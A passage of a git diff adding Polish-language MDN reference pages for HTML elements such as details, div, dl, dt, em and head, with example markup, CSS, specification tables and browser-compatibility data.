Dozwolona zawartość: <a href="pl/HTML/Elementy_blokowe">blokowa</a>, <a href="pl/HTML/Elementy_liniowe">liniowa</a> +</li><li> Dozwolony w: <a href="pl/HTML/Element/dl"><code><dl></code></a> +</li></ul> +<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3> +<dl><dt>nowrap {{ Non-standard_inline() }} +</dt><dd>Jeśli wartość tego atrybutu jest ustawiona na <code>yes</code>, tekst definicji nie będzie się zawijał. Domyślną wartością jest <code>no</code>. +</dd></dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre class="eval"> <dl> + <dt>wiki</dt> + <dd>Strona lub podobne źródło, które pozwala na dodawanie i edycję zawartości kolektywnie.</dd> + </dl> +</pre> +<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> +<p></p><dl><dt>wiki</dt></dt><dd>Strona lub podobne źródło, które pozwala na dodawanie i edycję zawartości kolektywnie.</dd></dd></dl> <h3 id="Notatka" name="Notatka"> Notatka </h3> +<p>W <a href="pl/HTML">HTML</a> znacznik zamykający <code><b></dd></b></code> nie jest obowiązkowy. Wymagany jest natomiast w <a href="pl/XHTML">XHTML</a>. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><a href="pl/HTML/Element/dl">Znacznik <code><dl></code></a>, <a href="pl/HTML/Element/dt">Znacznik <code><dt></code></a> +</p><p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/dd" } ) }} diff --git a/files/pl/web/html/element/details/index.html b/files/pl/web/html/element/details/index.html new file mode 100644 index 0000000000..9d69a5c0ae --- /dev/null +++ b/files/pl/web/html/element/details/index.html @@ -0,0 +1,195 @@ +--- +title: <details> +slug: Web/HTML/Element/details +tags: + - Element + - Elementy interaktywne HTML + - Referencja + - Web + - details +translation_of: Web/HTML/Element/details +--- +<div>{{HTMLRef}}</div> + +<p><strong><code><font face="Open Sans, arial, x-locale-body, sans-serif">Element </font><details></code></strong> w języku HTML<strong> </strong>jest używany jako widżet (określany często jako spoiler), z którego użytkownik może uzyskać dodatkowych informacji.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategoria treści</a></th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, root sekcji, treść interaktywna, treść klikalna.</td> + </tr> + <tr> + <th scope="row">Dopuszczalna zawartość</th> + <td>Jeden element {{HTMLElement("summary")}} będący bezpośrednim pierwszym dzieckiem</td> + </tr> + <tr> + <th scope="row">Znaczniki pomijane</th> + <td>{{no_tag_omission}}</td> + </tr> + <tr> + <th scope="row">Dopuszczalni rodzice</th> + <td>Dowolny element <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td> + </tr> + <tr> + <th scope="row">Rola ARIA</th> + <td>Brak</td> + </tr> + <tr> + <th scope="row">Interfejs w DOM</th> + <td>{{domxref("HTMLDetailsElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Istnieje możliwość dopisania do elementu <a href="/en-US/docs/Web/HTML/Global_attributes">atrybutów globalnych</a>.</p> + +<dl> + <dt>{{htmlattrdef("open")}}</dt> + <dd>Boolean świadczący o tym, czy element ma być otwarty bądź zamknięty po załadowaniu strony. Domyślnie jest to wartość <code>false</code> mówiąca elementowi, aby był zamknięty.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: html"><details> + <summary>Szczypta detali</summary> + <p>Informacje szczegółowe na dany temat.</p> +</details> + +<details open> + <summary>Jeszcze wiecej szczegółów</summary> + <p>Tu jest jeszcze wiecej informacji szczegółowych</p> +</details> +</pre> + +<h3 id="Rezultat">Rezultat</h3> + +<p>{{EmbedLiveSample("Przykład")}}</p> + +<div class="note"> +<p><strong>Note:</strong> Jeżeli rezultat nie działa u Ciebie poprawnie, zobacz {{anch("kompatybilność z przeglądarkami")}}, aby sprawdzić, czy Twoja przegladarka wspiera ten element.</p> +</div> + +<h2 id="Przykład_z_ostylowaniem">Przykład z ostylowaniem</h2> + +<p>Zgodnie z najnowszą specyfikacją, Firefox generuje element summary jako <code>display: list-item</code> przez co może być stylowany tak jak elementy listy. Zgodnie ze starszą specyfikacją, Chrome oraz Safari posiadają <code>::-webkit-details-marker</code> pseudo element, który może być stylowany.</p> + +<p>Dla cross-browsingu, Firefox ukrywa znacznik summary poprzez <code>summary { display: block }</code>, a z kolei Chrome i Safari poprzez <code>::-webkit-details-marker {display: none;}</code>. Stylowanie może być wtedy odpowiednio przeprowadzone.<br> + Przykład poniżej używa CSSa umozliwiajacego powrót znacznika do punktu wyjścia</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><details> + <summary>Szczypta detali</summary> + <p>Informacje szczegółowe na dany temat.</p> +</details></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">summary { + display: block; +} + + summary::-webkit-details-marker { + display: none; +} + +summary::before { + content: '\25B6'; + padding-right: 0.5em; +} + +details[open] > summary::before { + content: '\25BC'; +} +</pre> + +<h3 id="Rezultat_2">Rezultat</h3> + +<p>{{ EmbedLiveSample('Przykład_z_ostylowaniem') }}</p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'forms.html#the-details-element', '<details>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', 'semantics.html#the-details-element', '<details>')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Początkowa definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>12</td> + <td><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/detailssummary?filter=f3f0000bf&search=details">In Development</a></td> + <td>{{CompatGeckoDesktop("49.0")}}</td> + <td>{{CompatNo}}</td> + <td>15</td> + <td>6</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.0</td> + <td><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/detailssummary?filter=f3f0000bf&search=details">In Development</a></td> + <td>{{CompatGeckoMobile("49.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>6.1</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{HTMLElement("summary")}}</li> +</ul> diff --git a/files/pl/web/html/element/div/index.html b/files/pl/web/html/element/div/index.html new file mode 100644 index 0000000000..d7edffc9c6 --- /dev/null +++ b/files/pl/web/html/element/div/index.html @@ -0,0 +1,131 @@ +--- +title: '<div>: The Content Division element' +slug: Web/HTML/Element/div +translation_of: Web/HTML/Element/div +--- +<div>{{HTMLRef}}</div> + +<p><span class="seoSummary"><strong>HTML Content Division element</strong> (<strong><code><div></code></strong>) jest rodzajem pojemnika na </span>treść<span class="seoSummary">. Nie ma on żadnego wpływu na treść ani układ graficzny, dopóki nie zostanie ostylizowany z użyciem CSS. </span> Element <code><div></code> jako "czysty" pojemnik niczego nie reprezentuje. Zamiast tego, jest on używany do grupowania zawartości, dzięki czemu można go łatwo stylizować za pomocą atrybutu {{htmlattrxref("class")}} lub {{htmlattrxref("id")}}, oznaczające część dokumentu jako napisaną w innym języku (używając atrybutu {{htmlattrxref("lang")}}), i tak dalej.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategorie zawartości</a></th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Tekst lub treść osadzona</a>, namacalna zawartosć.</td> + </tr> + <tr> + <th scope="row">Dopuszczalna zawartość</th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Tekst lub treść osadzona</a>.<br> + Lub (w <a href="/en-US/docs/Glossary/WHATWG">WHATWG</a> HTML): Jeżeli rodzic jest elementem {{HTMLElement("dl")}}: jednego lub więcej elementów {{HTMLElement("dt")}}, po których następuje jeden lub więcej elementów {{HTMLElement("dd")}}, opcjonalnie zmieszanych z elementami {{HTMLElement("script")}} i {{HTMLElement("template")}}.</td> + </tr> + <tr> + <th scope="row">Pominięcie znacznika</th> + <td>Brak, zarówno znacznik początku, jak i końca jest obowiązkowy.</td> + </tr> + <tr> + <th scope="row">Dozwoleni rodzice </th> + <td>Każdy element akceptujący <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">tekst lub treść osadzoną</a>.<br> + Lub (w <a href="/en-US/docs/Glossary/WHATWG">WHATWG</a> HTML): element {{HTMLElement("dl")}}.</td> + </tr> + <tr> + <th scope="row">Wsparcie <a href="/pl/docs/Web/Accessibility/ARIA">ARIA</a></th> + <td>Tak</td> + </tr> + <tr> + <th scope="row">Interfejs DOM</th> + <td>{{domxref("HTMLDivElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Element ten obejmuje <a href="/en-US/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<p>Atrybut <code>align</code> jest przestarzały; nie używaj go już dłużej. Zamiast tego należy użyć właściwości lub technik CSS takich jak <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> lub <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">CSS Flexbox</a> do wyrównania i pozycjonowania elementów <code><div></code> na stronie.</p> + +<h2 id="Wskazówki_dot._użytkowania">Wskazówki dot. użytkowania</h2> + +<ul> + <li>Element <code><div></code> należy stosować tylko wtedy, gdy nie może go zastąpić żaden inny element semantyczny (np. {{HTMLElement("article")}} lub {{HTMLElement("nav")}}).</li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Prosty_przykład">Prosty przykład</h3> + +<pre class="brush: html"><div> + <p>Any kind of content here. Such as + &lt;p&gt;, &lt;table&gt;. You name it!</p> +</div> </pre> + +<p>Rezultat wygląda tak:</p> + +<p>{{EmbedLiveSample("A_simple_example", 650, 60)}}</p> + +<h3 id="Przykład_z_użyciem_stylów">Przykład z użyciem stylów</h3> + +<p>Ten przykład tworzy cieniowane pole, stosując styl dla <code><div></code> za pomocą CSS. Zwróć uwagę na użycie atrybutu {{htmlattrxref("class")}} na elemencie <code><div></code> aby zastosować styl o nazwie <code>"shadowbox"</code>.</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div class="shadowbox"> + <p>Here's a very interesting note displayed in a + lovely shadowed box.</p> +</div></pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">.shadowbox { + width: 15em; + border: 1px solid #333; + box-shadow: 8px 8px 5px #444; + padding: 8px 12px; + background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); +}</pre> + +<h4 id="Rezultat">Rezultat</h4> + +<p>{{EmbedLiveSample("A_styled_example", 650, 120)}}</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '<div>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No changes since the latest snapshot</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '<div>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Obsoleted <strong>align</strong></td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '<div>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("html.elements.div")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Semantic sectioning elements: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}</li> + <li>{{HTMLElement("span")}} element for styling of phrasing content</li> +</ul> diff --git a/files/pl/web/html/element/dl/index.html b/files/pl/web/html/element/dl/index.html new file mode 100644 index 0000000000..9a459ee324 --- /dev/null +++ b/files/pl/web/html/element/dl/index.html @@ -0,0 +1,112 @@ +--- +title: dl +slug: Web/HTML/Element/dl +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/dl +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Element <strong>lista definicji</strong> (<code><dl></code>) zawiera listę par terminów i ich definicji. Powszechnym zastosowaniem tego elementu jest tworzenie słownika.</p> + +<ul> + <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li> + <li>Dozwolona zawartość: <a href="pl/HTML/Element/dt"><code>dt</code></a>, <a href="pl/HTML/Element/dd"><code>dd</code></a></li> +</ul> + +<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3> + +<dl> + <dt>compact {{ Non-standard_inline() }}</dt> + <dd>Wymusza, by opis definicji pojawił się w tej samej linii, co termin definicji. Działa tylko w Internet Explorer.</dd> +</dl> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<h4 id="Pojedynczy_termin_i_definicja" name="Pojedynczy_termin_i_definicja">Pojedynczy termin i definicja</h4> + +<pre><dl> + <dt>Firefox</dt> + <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, + graficzna przeglądarka internetowa, + tworzona przez Mozilla Corporation i setki wolontariuszy.</dd> + + <!-- inne terminy i definicje --> +</dl> +</pre> + +<p>Rezultat:</p> + +<dl> + <dt>Firefox</dt> + <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, graficzna przeglądarka internetowa, tworzona przez Mozilla Corporation i setki wolontariuszy.</dd> +</dl> + +<h4 id="Wiele_termin.C3.B3w.2C_jedna_definicja" name="Wiele_termin.C3.B3w.2C_jedna_definicja">Wiele terminów, jedna definicja</h4> + +<pre><dl> + <dt>Firefox</dt> + <dt>Mozilla Firefox</dt> + <dt>Fx</dt> + <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, + graficzna przeglądarka internetowa, + tworzona przez Mozilla Corporation i setki wolontariuszy.</dd> + + <!-- inne terminy i definicje --> +</dl> +</pre> + +<p>Rezultat:</p> + +<dl> + <dt>Firefox</dt> + <dt>Mozilla Firefox</dt> + <dt>Fx</dt> + <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, graficzna przeglądarka internetowa, tworzona przez Mozilla Corporation i setki wolontariuszy.</dd> +</dl> + +<h4 id="Pojedynczy_termin.2C_wiele_definicji" name="Pojedynczy_termin.2C_wiele_definicji">Pojedynczy termin, wiele definicji</h4> + +<pre><dl> + <dt>Firefox</dt> + <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, + graficzna przeglądarka internetowa, + tworzona przez Mozilla Corporation i setki wolontariuszy.</dd> + <dd>Panda czerwona, znana też jako panda mniejsza, Wah, Bear Cat lub Firefox, + jest to przeważnie trawożerny ssak, nieco większy niż kot domowy + (60 cm długości).</dd> + + <!-- inne terminy i definicje --> +</dl> +</pre> + +<p>Rezultat:</p> + +<dl> + <dt>Firefox</dt> + <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, graficzna przeglądarka internetowa, tworzona przez Mozilla Corporation i setki wolontariuszy.</dd> + <dd>Panda czerwona, znana też jako panda mniejsza, Wah, Bear Cat lub Firefox, jest to przeważnie trawożerny ssak, nieco większy niż kot domowy (60 cm długości).</dd> +</dl> + +<h4 id="Wiele_termin.C3.B3w_i_definicji" name="Wiele_termin.C3.B3w_i_definicji">Wiele terminów i definicji</h4> + +<p>Możliwe jest również tworzenie wielokrotnych terminów i definicji, ale już wiesz, jak to zrobić.</p> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Użycie <code><dl compact></code> jest poprawne w <a href="pl/HTML">HTML</a>, lecz, aby użyć tego atrybutu w <a href="pl/XHTML">XHTML</a>, musisz użyć zapisu <code><dl compact="compact"></code>.</p> + +<p>Nie zaleca się używania tego elementu, razem z <a href="pl/HTML/Element/ul">niesortowanymi listami</a>, żeby stworzyć tylko wcięcie na stronie. Mimo, iż to działa, jest to zła praktyka i pokazuje złe rozumienie znaczenia listy definicji.</p> + +<p>Aby zmienić wcięcie terminu definicji, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>.</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li><a href="pl/HTML/Element/dt">Znacznik <code><dt></code></a></li> + <li><a href="pl/HTML/Element/dd">Znacznik <code><dd></code></a></li> +</ul> + +<p>{{ languages( { "en": "en/HTML/Element/dl" } ) }}</p> diff --git a/files/pl/web/html/element/dt/index.html b/files/pl/web/html/element/dt/index.html new file mode 100644 index 0000000000..f6ac42b6db --- /dev/null +++ b/files/pl/web/html/element/dt/index.html @@ -0,0 +1,24 @@ +--- +title: dt +slug: Web/HTML/Element/dt +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/dt +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><dt></code> (definition term) określa termin definicji w <a href="pl/HTML/Element/dl">liście definicji</a> (<a href="pl/HTML/Element/dl"><dl></a>). Ten element może występować tylko jako <a href="pl/HTML/Child_element">dziecko</a> listy definicji i powinien następować po nim element <a href="pl/HTML/Element/dd">opis definicji</a> (<a href="pl/HTML/Element/dd"><code><dd></code></a>) element. +</p> +<ul><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">liniowa</a> +</li><li> Dozwolony w: <a href="pl/HTML/Element/dl"><dl></a> +</li></ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<p>Zobacz przykłady w <a href="pl/HTML/Element/dl#Przyk.C5.82ady">lista definicji</a>. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/dl">Znacznik lista definicji <code>dl</code></a> +</li><li> <a href="pl/HTML/Element/dd">Znacznik opis definicji <code>dd</code></a> +</li></ul> +<p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/dt" } ) }} diff --git a/files/pl/web/html/element/em/index.html b/files/pl/web/html/element/em/index.html new file mode 100644 index 0000000000..fa9c2eac28 --- /dev/null +++ b/files/pl/web/html/element/em/index.html @@ -0,0 +1,31 @@ +--- +title: em +slug: Web/HTML/Element/em +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/em +--- +<p> +</p><p><br> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><em>...</em></code> nadaje tekstowi nacisk, zwykle jest on oznaczony kursywą. +</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre class="eval"> <p> + + Ważne jest, że <em>nie możesz</em> zalogować się zanim nie + zweryfikujesz swojego konta poprzez email, który został wysłany na adres, który podałeś. + + </p> +</pre> +<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p> Ważne jest, że <em>nie możesz</em> zalogować się zanim nie zweryfikujesz swojego konta poprzez email, który został wysłany na adres, który podałeś. </p> +<h3 id="Kursywa_vs._Emfaza" name="Kursywa_vs._Emfaza"> Kursywa vs. Emfaza </h3> +<p>Jest to często trudne dla niedoświadczonych deweloperów, dlaczego jest tak dużo sposobów stworzenia tej samej rzeczy na stronie. Kursywa i nacisk są prawdopodobnie jednym z najczęstszych. Czy należy używać <code><em></em></code> czy <code><i></i></code>? Czy tworzy to dokładnie ten sam wynik? +</p><p>Nie do końca - emfaza jest stanem logicznym, a kursywa jest stanem fizycznym. Stany logiczne oddzielają prezentację od zawartości, dlatego mogą być wyrażone na różne sposoby, na przykład, zamiast wyświetlać fragment tekstu jako kursywę, możesz wyświetlić go na czerwono, w innym rozmiarze, podkreślone lub nawet wytłuszczone. Bardziej sensownym jest zmieniać właściwości prezentacyjne znacznika <code>em</code> niż robić to z kursywą. Dzieje się tak, ponieważ kursywa jest stanem fizycznym, nie ma tutaj rozdziału pomiędzy prezentacją i zawartością, zmuszanie kursywy do robienia czegokolwiek innego niż pochylania tekstu byłoby mylące i nielogiczne. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/i">Znacznik <code><i></code></a> +</li></ul> +<p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/em" } ) }} diff --git a/files/pl/web/html/element/head/index.html b/files/pl/web/html/element/head/index.html new file mode 100644 index 0000000000..aa1c44454f --- /dev/null +++ b/files/pl/web/html/element/head/index.html @@ -0,0 +1,130 @@ +--- +title: '<head>: Element metadanych dokumentu (Nagłówek)' +slug: Web/HTML/Element/head +tags: + - Element + - HTML + - HTML metadane dokumentu + - 'HTML:Metadane zawartość' + - Reference + - Web +translation_of: Web/HTML/Element/head +--- +<div>{{HTMLRef}}</div> + +<p><strong>Element</strong> <strong>HTML <code><head></code></strong> zawiera maszynowo odczytywane informacje ({{glossary("metadata", "metadane")}}) o dokumencie, takie jak <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Element/title">tytuł</a>, <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Element/script">skrypty</a> i <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Element/style">arkusze stylów</a>.</p> + +<div class="blockIndicator note"> +<p><strong>Uwaga:</strong> <code><head></code> posiada przede wszystkim informacje do przetwarzania maszynowego, a nie do odczytywania przez ludzi. Informacje widoczne dla człowieka, takie jak nagłówki najwyższego poziomu i wymienieni autorzy, znajdują się w elemencie {{HTMLElement("header")}}.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td>Brak.</td> + </tr> + <tr> + <th>Dozwolona zawartość</th> + <td> + <p>Jeśli dokument jest dokumentem {{htmlattrxref("srcdoc", "iframe")}} w {{HTMLElement("iframe")}}, lub jeśli informacja tytułowa jest dostępna z protokołu wyższego poziomu (np. temat w e-mailu HTML), zero lub więcej elementów zawartości metadanych.</p> + + <p><br> + W przeciwnym wypadku, jeden lub więcej elementów zawartości metadanych, gdzie dokładnie jeden jest elementem {{HTMLElement("title")}}.</p> + </td> + </tr> + <tr> + <th>Pominięcie znacznika</th> + <td>Znacznik startowy może zostać pominięty, jeśli pierwszą rzeczą wewnątrz elementu <code><head></code> jest element.<br> + Znacznik końcowy może zostać pominięty, jeśli pierwszą rzeczą następującą po elemencie <code><head></code> nie jest znak spacji lub komentarz.</td> + </tr> + <tr> + <th>Dozwoleni rodzice</th> + <td>Element {{HTMLElement("html")}}, jako jego pierwsze dziecko.</td> + </tr> + <tr> + <th>Dozwolone role ARIA</th> + <td>Brak</td> + </tr> + <tr> + <th>Interfejs DOM</th> + <td>{{domxref("HTMLHeadElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element uwzględnia <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<dl> + <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt> + <dd>URI jednego lub więcej profili metadanych, oddzielone białym znakiem.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: html"><!doctype html> +<html> + <head> + <title>Tytuł dokumentu</title> + </head> +</html> +</pre> + +<h2 id="Uwagi">Uwagi</h2> + +<p>Nowoczesne, zgodne z HTML5 przeglądarki automatycznie tworzą element <code><head></code>, jeśli tagi są pomijane w znaczniku. <a class="external" href="https://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">Takie zachowanie nie może być zagwarantowane w starych przeglądarkach</a>.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Bez zmian w stosunku do najnowszej wersji</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Przestarzały <code>profile</code></td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '<head>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("html.elements.head")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Elementy, które mogą być używane wewnątrz <code><head></code>: + + <ul> + <li>{{HTMLElement("title")}}</li> + <li>{{HTMLElement("base")}}</li> + <li>{{HTMLElement("link")}}</li> + <li>{{HTMLElement("style")}}</li> + <li>{{HTMLElement("meta")}}</li> + <li>{{HTMLElement("script")}}</li> + <li>{{HTMLElement("noscript")}}</li> + <li>{{HTMLElement("template")}}</li> + </ul> + </li> +</ul> diff --git a/files/pl/web/html/element/heading_elements/index.html b/files/pl/web/html/element/heading_elements/index.html new file mode 100644 index 0000000000..c3eafe6774 --- /dev/null +++ b/files/pl/web/html/element/heading_elements/index.html @@ -0,0 +1,250 @@ +--- +title: '<h1>–<h6>: The HTML Section Heading elements' +slug: Web/HTML/Element/Heading_Elements +translation_of: Web/HTML/Element/Heading_Elements +--- +<div>{{HTMLRef}}</div> + +<p id="Summary"><span class="seoSummary">Element języka <strong>HTML <code><h1></code>–<code><h6></code> </strong>reprezentuje sześć poziomów zawartości nagłówka. Zawartość nagłówka <code><h1></code> jest prezentowana największą czcionką, a nagłówków <code><h6></code> najmniejszą.</span></p> + +<div>{{EmbedInteractiveExample("pages/tabbed/h1-h6.html", "tabbed-standard")}}</div> + +<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, heading content, palpable content.</td> + </tr> + <tr> + <th scope="row">Permitted content</th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td> + </tr> + <tr> + <th scope="row">Tag omission</th> + <td>{{no_tag_omission}}</td> + </tr> + <tr> + <th scope="row">Permitted parents</th> + <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>; don't use a heading element as a child of the {{HTMLElement("hgroup")}} element — it is now deprecated.</td> + </tr> + <tr> + <th scope="row">Implicit ARIA role</th> + <td><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/heading_role">heading</a></td> + </tr> + <tr> + <th scope="row">Permitted ARIA roles</th> + <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}} or {{ARIARole("none")}}</td> + </tr> + <tr> + <th scope="row">DOM interface</th> + <td>{{domxref("HTMLHeadingElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Attributes">Attributes</h2> + +<p>These elements only include the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p> + +<div class="note"> +<p>The <code>align</code> attribute is obsolete; don't use it.</p> +</div> + +<h2 id="Usage_notes">Usage notes</h2> + +<ul> + <li>Heading information may be used by user agents, for example, to construct a table of contents for a document automatically.</li> + <li>Avoid using heading tags to resize text. Instead, use the {{glossary("CSS")}} {{cssxref("font-size")}} property. Headings use size to indicate their relative importance, but CSS is preferred for general-purpose resizing.</li> + <li>Avoid skipping heading levels: always start from <code><h1></code>, next use <code><h2></code> and so on.</li> + <li>You should only use one <code><h1></code> per page. Using more than one will not result in an error, but using only one is seen as a best practice. It makes logical sense — <code><h1></code> is the most important heading, and tells you what the purpose of the overall page is. You wouldn't have a book with more than one title, or a movie with more than one name! Having a single top-level title is also arguably better for screenreader users, and {{glossary("SEO")}}.</li> +</ul> + +<h2 id="Examples">Examples</h2> + +<h3 id="All_headings">All headings</h3> + +<p>The following code shows all the heading levels, in use.</p> + +<pre 